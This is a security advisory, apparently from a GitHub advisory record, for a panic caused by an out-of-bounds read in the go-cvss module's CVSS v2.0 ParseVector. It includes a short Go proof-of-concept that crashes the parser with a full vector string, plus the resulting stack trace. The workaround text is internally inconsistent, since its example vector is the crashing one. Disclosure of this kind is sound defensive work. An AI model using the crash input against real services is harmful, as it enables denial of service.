"details" : "### Impact\nWhen a full CVSS v2.0 vector string is parsed using `ParseVector`, an Out-of-Bounds Read is possible due to a lack of tests. The Go module will then panic.\n\n### Patches\nThe problem is patched in tag `v0.4.0`, by the commit `d9d478ff0c13b8b09ace030db9262f3c2fe031f4`.\n\n### Workarounds\nThe only way to avoid it is by parsing CVSS v2.0 vector strings that does not have all attributes defined (e.g. `AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M`).\n\n### References\nN/A\n\n### CPE v2.3\nAs stated in [SECURITY.md](https://github.com/pandatix/go-cvss/blob/master/SECURITY.md), the CPE v2.3 to refer to this Go module is `cpe:2.3:a:pandatix:go_cvss:*:*:*:*:*:*:*:*`.\nThe entry has already been requested to the NVD CPE dictionnary.\n\n### Exploit example\n```go\npackage main\n\nimport (\n\t\"log\"\n\n\tgocvss20 \"github.com/pandatix/go-cvss/20\"\n)\n\nfunc main() {\n\t_, err := gocvss20.ParseVector(\"AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}\n```\n\nWhen ran, the following trace is returned.\n```\npanic: runtime error: index out of range [3] with length 3\n\ngoroutine 1 [running]:\ngithub.com/pandatix/go-cvss/20.ParseVector({0x4aed6c?, 0x0?})\n /home/lucas/go/pkg/mod/github.com/pandatix/go-cvss@v0.2.0/20/cvss20.go:54 +0x578\nmain.main()\n /media/lucas/HDD-K/Documents/cve-2022-xxxxx/main.go:10 +0x25\nexit status 2\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [pandatix/go-cvss](https://github.com/pandatix/go-cvss/issues)\n* Email me at [lucastesson@protonmail.com](mailto:lucastesson@protonmail.com)\n",
